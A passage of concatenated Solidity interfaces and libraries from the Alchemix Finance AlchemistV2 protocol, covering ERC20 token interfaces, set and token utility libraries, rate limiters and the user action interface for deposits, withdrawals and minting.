IAlchemistV2Immutables,
IAlchemistV2Events,
IAlchemistV2State
{ }
pragma solidity >=0.5.0;
/// @title IERC20Minimal
/// @author Alchemix Finance
interface IERC20Minimal {
/// @notice An event which is emitted when tokens are transferred between two parties.
///
/// @param owner The owner of the tokens from which the tokens were transferred.
/// @param recipient The recipient of the tokens to which the tokens were transferred.
/// @param amount The amount of tokens which were transferred.
event Transfer(address indexed owner, address indexed recipient, uint256 amount);
/// @notice An event which is emitted when an approval is made.
///
/// @param owner The address which made the approval.
/// @param spender The address which is allowed to transfer tokens on behalf of `owner`.
/// @param amount The amount of tokens that `spender` is allowed to transfer.
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice Gets the current total supply of tokens.
///
/// @return The total supply.
function totalSupply() external view returns (uint256);
/// @notice Gets the balance of tokens that an account holds.
///
/// @param account The account address.
///
/// @return The balance of the account.
function balanceOf(address account) external view returns (uint256);
/// @notice Gets the allowance that an owner has allotted for a spender.
///
/// @param owner The owner address.
/// @param spender The spender address.
///
/// @return The number of tokens that `spender` is allowed to transfer on behalf of `owner`.
function allowance(address owner, address spender) external view returns (uint256);
/// @notice Transfers `amount` tokens from `msg.sender` to `recipient`.
///
/// @notice Emits a {Transfer} event.
///
/// @param recipient The address which will receive the tokens.
/// @param amount The amount of tokens to transfer.
///
/// @return If the transfer was successful.
function transfer(address recipient, uint256 amount) external returns (bool);
/// @notice Approves `spender` to transfer `amount` tokens on behalf of `msg.sender`.
///
/// @notice Emits a {Approval} event.
///
/// @param spender The address which is allowed to transfer tokens on behalf of `msg.sender`.
/// @param amount The amount of tokens that `spender` is allowed to transfer.
///
/// @return If the approval was successful.
function approve(address spender, uint256 amount) external returns (bool);
/// @notice Transfers `amount` tokens from `owner` to `recipient` using an approval that `owner` gave to `msg.sender`.
///
/// @notice Emits a {Approval} event.
/// @notice Emits a {Transfer} event.
///
/// @param owner The address to transfer tokens from.
/// @param recipient The address that will receive the tokens.
/// @param amount The amount of tokens to transfer.
///
/// @return If the transfer was successful.
function transferFrom(address owner, address recipient, uint256 amount) external returns (bool);
}
pragma solidity >=0.5.0;
/// @title IERC20TokenReceiver
/// @author Alchemix Finance
interface IERC20TokenReceiver {
/// @notice Informs implementors of this interface that an ERC20 token has been transferred.
///
/// @param token The token that was transferred.
/// @param value The amount of the token that was transferred.
function onERC20Received(address token, uint256 value) external;
}
pragma solidity >=0.5.0;
/// @title ITokenAdapter
/// @author Alchemix Finance
interface ITokenAdapter {
/// @notice Gets the current version.
///
/// @return The version.
function version() external view returns (string memory);
/// @notice Gets the address of the yield token that this adapter supports.
///
/// @return The address of the yield token.
function token() external view returns (address);
/// @notice Gets the address of the underlying token that the yield token wraps.
///
/// @return The address of the underlying token.
function underlyingToken() external view returns (address);
/// @notice Gets the number of underlying tokens that a single whole yield token is redeemable for.
///
/// @return The price.
function price() external view returns (uint256);
/// @notice Wraps `amount` underlying tokens into the yield token.
///
/// @param amount The amount of the underlying token to wrap.
/// @param recipient The address which will receive the yield tokens.
///
/// @return amountYieldTokens The amount of yield tokens minted to `recipient`.
function wrap(uint256 amount, address recipient)
external
returns (uint256 amountYieldTokens);
/// @notice Unwraps `amount` yield tokens into the underlying token.
///
/// @param amount The amount of yield-tokens to redeem.
/// @param recipient The recipient of the resulting underlying-tokens.
///
/// @return amountUnderlyingTokens The amount of underlying tokens unwrapped to `recipient`.
function unwrap(uint256 amount, address recipient)
external
returns (uint256 amountUnderlyingTokens);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
import "./IERC20Burnable.sol";
import "./IERC20Minimal.sol";
import "./IERC20Mintable.sol";
/// @title IAlchemicToken
/// @author Alchemix Finance
interface IAlchemicToken is IERC20Minimal, IERC20Burnable, IERC20Mintable {
/// @notice Gets the total amount of minted tokens for an account.
///
/// @param account The address of the account.
///
/// @return The total minted.
function hasMinted(address account) external view returns (uint256);
/// @notice Lowers the number of tokens which the `msg.sender` has minted.
///
/// This reverts if the `msg.sender` is not whitelisted.
///
/// @param amount The amount to lower the minted amount by.
function lowerHasMinted(uint256 amount) external;
}
pragma solidity ^0.8.11;
import "../base/Errors.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../libraries/Sets.sol";
/// @title Whitelist
/// @author Alchemix Finance
interface IWhitelist {
/// @dev Emitted when a contract is added to the whitelist.
///
/// @param account The account that was added to the whitelist.
event AccountAdded(address account);
/// @dev Emitted when a contract is removed from the whitelist.
///
/// @param account The account that was removed from the whitelist.
event AccountRemoved(address account);
/// @dev Emitted when the whitelist is deactivated.
event WhitelistDisabled();
/// @dev Returns the list of addresses that are whitelisted for the given contract address.
///
/// @return addresses The addresses that are whitelisted to interact with the given contract.
function getAddresses() external view returns (address[] memory addresses);
/// @dev Returns the disabled status of a given whitelist.
///
/// @return disabled A flag denoting if the given whitelist is disabled.
function disabled() external view returns (bool);
/// @dev Adds an contract to the whitelist.
///
/// @param caller The address to add to the whitelist.
function add(address caller) external;
/// @dev Adds a contract to the whitelist.
///
/// @param caller The address to remove from the whitelist.
function remove(address caller) external;
/// @dev Disables the whitelist of the target whitelisted contract.
///
/// This can only occur once. Once the whitelist is disabled, then it cannot be reenabled.
function disable() external;
/// @dev Checks that the `msg.sender` is whitelisted when it is not an EOA.
///
/// @param account The account to check.
///
/// @return whitelisted A flag denoting if the given account is whitelisted.
function isWhitelisted(address account) external view returns (bool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import {IllegalArgument} from "../base/Errors.sol";
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
if (y >= 2**255) {
revert IllegalArgument();
}
z = int256(y);
}
/// @notice Cast a int256 to a uint256, revert on underflow
/// @param y The int256 to be casted
/// @return z The casted integer, now type uint256
function toUint256(int256 y) internal pure returns (uint256 z) {
if (y < 0) {
revert IllegalArgument();
}
z = uint256(y);
}
}
pragma solidity ^0.8.11;
/// @title Sets
/// @author Alchemix Finance
library Sets {
using Sets for AddressSet;
/// @notice A data structure holding an array of values with an index mapping for O(1) lookup.
struct AddressSet {
address[] values;
mapping(address => uint256) indexes;
}
/// @dev Add a value to a Set
///
/// @param self The Set.
/// @param value The value to add.
///
/// @return Whether the operation was successful (unsuccessful if the value is already contained in the Set)
function add(AddressSet storage self, address value) internal returns (bool) {
if (self.contains(value)) {
return false;
}
self.values.push(value);
self.indexes[value] = self.values.length;
return true;
}
/// @dev Remove a value from a Set
///
/// @param self The Set.
/// @param value The value to remove.
///
/// @return Whether the operation was successful (unsuccessful if the value was not contained in the Set)
function remove(AddressSet storage self, address value) internal returns (bool) {
uint256 index = self.indexes[value];
if (index == 0) {
return false;
}
// Normalize the index since we know that the element is in the set.
index--;
uint256 lastIndex = self.values.length - 1;
if (index != lastIndex) {
address lastValue = self.values[lastIndex];
self.values[index] = lastValue;
self.indexes[lastValue] = index + 1;
}
self.values.pop();
delete self.indexes[value];
return true;
}
/// @dev Returns true if the value exists in the Set
///
/// @param self The Set.
/// @param value The value to check.
///
/// @return True if the value is contained in the Set, False if it is not.
function contains(AddressSet storage self, address value) internal view returns (bool) {
return self.indexes[value] != 0;
}
}
pragma solidity ^0.8.11;
import "../interfaces/IERC20Burnable.sol";
import "../interfaces/IERC20Metadata.sol";
import "../interfaces/IERC20Minimal.sol";
import "../interfaces/IERC20Mintable.sol";
/// @title TokenUtils
/// @author Alchemix Finance
library TokenUtils {
/// @notice An error used to indicate that a call to an ERC20 contract failed.
///
/// @param target The target address.
/// @param success If the call to the token was a success.
/// @param data The resulting data from the call. This is error data when the call was not a success. Otherwise,
/// this is malformed data when the call was a success.
error ERC20CallFailed(address target, bool success, bytes data);
/// @dev A safe function to get the decimals of an ERC20 token.
///
/// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value.
///
/// @param token The target token.
///
/// @return The amount of decimals of the token.
function expectDecimals(address token) internal view returns (uint8) {
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSelector(IERC20Metadata.decimals.selector)
);
if (!success || data.length < 32) {
revert ERC20CallFailed(token, success, data);
}
return abi.decode(data, (uint8));
}
/// @dev Gets the balance of tokens held by an account.
///
/// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value.
///
/// @param token The token to check the balance of.
/// @param account The address of the token holder.
///
/// @return The balance of the tokens held by an account.
function safeBalanceOf(address token, address account) internal view returns (uint256) {
(bool success, bytes memory data) = token.staticcall(
abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, account)
);
if (!success || data.length < 32) {
revert ERC20CallFailed(token, success, data);
}
return abi.decode(data, (uint256));
}
/// @dev Transfers tokens to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an unexpected value.
///
/// @param token The token to transfer.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransfer(address token, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.transfer.selector, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Approves tokens for the smart contract.
///
/// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an unexpected value.
///
/// @param token The token to approve.
/// @param spender The contract to spend the tokens.
/// @param value The amount of tokens to approve.
function safeApprove(address token, address spender, uint256 value) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.approve.selector, spender, value)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Transfer tokens from one address to another address.
///
/// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an unexpected value.
///
/// @param token The token to transfer.
/// @param owner The address of the owner.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to transfer.
function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Minimal.transferFrom.selector, owner, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Mints tokens to an address.
///
/// @dev Reverts with a {CallFailed} error if execution of the mint fails or returns an unexpected value.
///
/// @param token The token to mint.
/// @param recipient The address of the recipient.
/// @param amount The amount of tokens to mint.
function safeMint(address token, address recipient, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Mintable.mint.selector, recipient, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Burns tokens.
///
/// Reverts with a `CallFailed` error if execution of the burn fails or returns an unexpected value.
///
/// @param token The token to burn.
/// @param amount The amount of tokens to burn.
function safeBurn(address token, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Burnable.burn.selector, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
/// @dev Burns tokens from its total supply.
///
/// @dev Reverts with a {CallFailed} error if execution of the burn fails or returns an unexpected value.
///
/// @param token The token to burn.
/// @param owner The owner of the tokens.
/// @param amount The amount of tokens to burn.
function safeBurnFrom(address token, address owner, uint256 amount) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20Burnable.burnFrom.selector, owner, amount)
);
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
revert ERC20CallFailed(token, success, data);
}
}
}
pragma solidity ^0.8.11;
import {IllegalArgument} from "../base/Errors.sol";
/// @title Functions
/// @author Alchemix Finance
library Limiters {
using Limiters for LinearGrowthLimiter;
/// @dev A maximum cooldown to avoid malicious governance bricking the contract.
/// @dev 1 day @ 12 sec / block
uint256 constant public MAX_COOLDOWN_BLOCKS = 7200;
/// @dev The scalar used to convert integral types to fixed point numbers.
uint256 constant public FIXED_POINT_SCALAR = 1e18;
/// @dev The configuration and state of a linear growth function (LGF).
struct LinearGrowthLimiter {
uint256 maximum; /// The maximum limit of the function.
uint256 rate; /// The rate at which the function increases back to its maximum.
uint256 lastValue; /// The most recently saved value of the function.
uint256 lastBlock; /// The block that `lastValue` was recorded.
uint256 minLimit; /// A minimum limit to avoid malicious governance bricking the contract
}
/// @dev Instantiates a new linear growth function.
///
/// @param maximum The maximum value for the LGF.
/// @param blocks The number of blocks that determins the rate of the LGF.
///
/// @return The LGF struct.
function createLinearGrowthLimiter(uint256 maximum, uint256 blocks, uint256 _minLimit) internal view returns (LinearGrowthLimiter memory) {
if (blocks > MAX_COOLDOWN_BLOCKS) {
revert IllegalArgument();
}
if (maximum < _minLimit) {
revert IllegalArgument();
}
return LinearGrowthLimiter({
maximum: maximum,
rate: maximum * FIXED_POINT_SCALAR / blocks,
lastValue: maximum,
lastBlock: block.number,
minLimit: _minLimit
});
}
/// @dev Configure an LGF.
///
/// @param self The LGF to configure.
/// @param maximum The maximum value of the LFG.
/// @param blocks The number of recovery blocks of the LGF.
function configure(LinearGrowthLimiter storage self, uint256 maximum, uint256 blocks) internal {
if (blocks > MAX_COOLDOWN_BLOCKS) {
revert IllegalArgument();
}
if (maximum < self.minLimit) {
revert IllegalArgument();
}
if (self.lastValue > maximum) {
self.lastValue = maximum;
}
self.maximum = maximum;
self.rate = maximum * FIXED_POINT_SCALAR / blocks;
}
/// @dev Updates the state of an LGF by updating `lastValue` and `lastBlock`.
///
/// @param self the LGF to update.
function update(LinearGrowthLimiter storage self) internal {
self.lastValue = self.get();
self.lastBlock = block.number;
}
/// @dev Decrease the value of the linear growth limiter.
///
/// @param self The linear growth limiter.
/// @param amount The amount to decrease `lastValue`.
function decrease(LinearGrowthLimiter storage self, uint256 amount) internal {
uint256 value = self.get();
self.lastValue = value - amount;
self.lastBlock = block.number;
}
/// @dev Get the current value of the linear growth limiter.
///
/// @return The current value.
function get(LinearGrowthLimiter storage self) internal view returns (uint256) {
uint256 elapsed = block.number - self.lastBlock;
if (elapsed == 0) {
return self.lastValue;
}
uint256 delta = elapsed * self.rate / FIXED_POINT_SCALAR;
uint256 value = self.lastValue + delta;
return value > self.maximum ? self.maximum : value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Multicall interface
/// @author Uniswap Labs
///
/// @notice Enables calling multiple methods in a single call to the contract.
/// @dev The use of `msg.value` should be heavily scrutinized for implementors of this interfaces.
interface IMulticall {
/// @notice An error used to indicate that an individual call in a multicall failed.
///
/// @param data The call data.
/// @param result The result of the call.
error MulticallFailed(bytes data, bytes result);
/// @notice Call multiple functions in the implementing contract.
///
/// @param data The encoded function data for each of the calls to make to this contract.
///
/// @return results The results from each of the calls passed in via data.
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Actions
/// @author Alchemix Finance
///
/// @notice Specifies user actions.
interface IAlchemistV2Actions {
/// @notice Approve `spender` to mint `amount` debt tokens.
///
/// **_NOTE:_** This function is WHITELISTED.
///
/// @param spender The address that will be approved to mint.
/// @param amount The amount of tokens that `spender` will be allowed to mint.
function approveMint(address spender, uint256 amount) external;
/// @notice Approve `spender` to withdraw `amount` shares of `yieldToken`.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @param spender The address that will be approved to withdraw.
/// @param yieldToken The address of the yield token that `spender` will be allowed to withdraw.
/// @param shares The amount of shares that `spender` will be allowed to withdraw.
function approveWithdraw(
address spender,
address yieldToken,
uint256 shares
) external;
/// @notice Synchronizes the state of the account owned by `owner`.
///
/// @param owner The owner of the account to synchronize.
function poke(address owner) external;
/// @notice Deposit a yield token into a user's account.
///
/// @notice An approval must be set for `yieldToken` which is greater than `amount`.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Deposit} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **yieldToken** being deposited. This can be done via the standard `ERC20.approve()` method.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amount = 50000;
/// @notice IERC20(ydai).approve(alchemistAddress, amount);
/// @notice AlchemistV2(alchemistAddress).deposit(ydai, amount, msg.sender);
/// @notice ```
///
/// @param yieldToken The yield-token to deposit.
/// @param amount The amount of yield tokens to deposit.
/// @param recipient The owner of the account that will receive the resulting shares.
///
/// @return sharesIssued The number of shares issued to `recipient`.
function deposit(
address yieldToken,
uint256 amount,
address recipient
) external returns (uint256 sharesIssued);
/// @notice Deposit an underlying token into the account of `recipient` as `yieldToken`.
///
/// @notice An approval must be set for the underlying token of `yieldToken` which is greater than `amount`.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Deposit} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **underlyingToken** being deposited. This can be done via the standard `ERC20.approve()` method.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amount = 50000;
/// @notice AlchemistV2(alchemistAddress).depositUnderlying(ydai, amount, msg.sender, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to wrap the underlying tokens into.
/// @param amount The amount of the underlying token to deposit.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of yield tokens that are expected to be deposited to `recipient`.
///
/// @return sharesIssued The number of shares issued to `recipient`.
function depositUnderlying(
address yieldToken,
uint256 amount,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 sharesIssued);
/// @notice Withdraw yield tokens to `recipient` by burning `share` shares. The number of yield tokens withdrawn to `recipient` will depend on the value of shares for that yield token at the time of the call.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai);
/// @notice uint256 amtYieldTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdraw(ydai, amtYieldTokens / pps, msg.sender);
/// @notice ```
///
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
///
/// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`.
function withdraw(
address yieldToken,
uint256 shares,
address recipient
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw yield tokens to `recipient` by burning `share` shares from the account of `owner`
///
/// @notice `owner` must have an withdrawal allowance which is greater than `amount` for this call to succeed.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai);
/// @notice uint256 amtYieldTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdrawFrom(msg.sender, ydai, amtYieldTokens / pps, msg.sender);
/// @notice ```
///
/// @param owner The address of the account owner to withdraw from.
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
///
/// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`.
function withdrawFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw underlying tokens to `recipient` by burning `share` shares and unwrapping the yield tokens that the shares were redeemed for.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai);
/// @notice uint256 amountUnderlyingTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(ydai, amountUnderlyingTokens / pps, msg.sender, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
///
/// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`.
function withdrawUnderlying(
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw underlying tokens to `recipient` by burning `share` shares from the account of `owner` and unwrapping the yield tokens that the shares were redeemed for.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai);
/// @notice uint256 amtUnderlyingTokens = 5000 * 10**ydai.decimals();
/// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(msg.sender, ydai, amtUnderlyingTokens / pps, msg.sender, 1);
/// @notice ```
///
/// @param owner The address of the account owner to withdraw from.
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
///
/// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`.
function withdrawUnderlyingFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 amountWithdrawn);
/// @notice Mint `amount` debt tokens.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
///
/// @notice Emits a {Mint} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtDebt = 5000;
/// @notice AlchemistV2(alchemistAddress).mint(amtDebt, msg.sender);
/// @notice ```
///
/// @param amount The amount of tokens to mint.
/// @param recipient The address of the recipient.
function mint(uint256 amount, address recipient) external;
/// @notice Mint `amount` debt tokens from the account owned by `owner` to `recipient`.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
///
/// @notice Emits a {Mint} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `mintFrom()` must have **mintAllowance()** to mint debt from the `Account` controlled by **owner** for at least the amount of **yieldTokens** that **shares** will be converted to. This can be done via the `approveMint()` or `permitMint()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtDebt = 5000;
/// @notice AlchemistV2(alchemistAddress).mintFrom(msg.sender, amtDebt, msg.sender);
/// @notice ```
///
/// @param owner The address of the owner of the account to mint from.
/// @param amount The amount of tokens to mint.
/// @param recipient The address of the recipient.
function mintFrom(
address owner,
uint256 amount,
address recipient
) external;
/// @notice Burn `amount` debt tokens to credit the account owned by `recipient`.
///
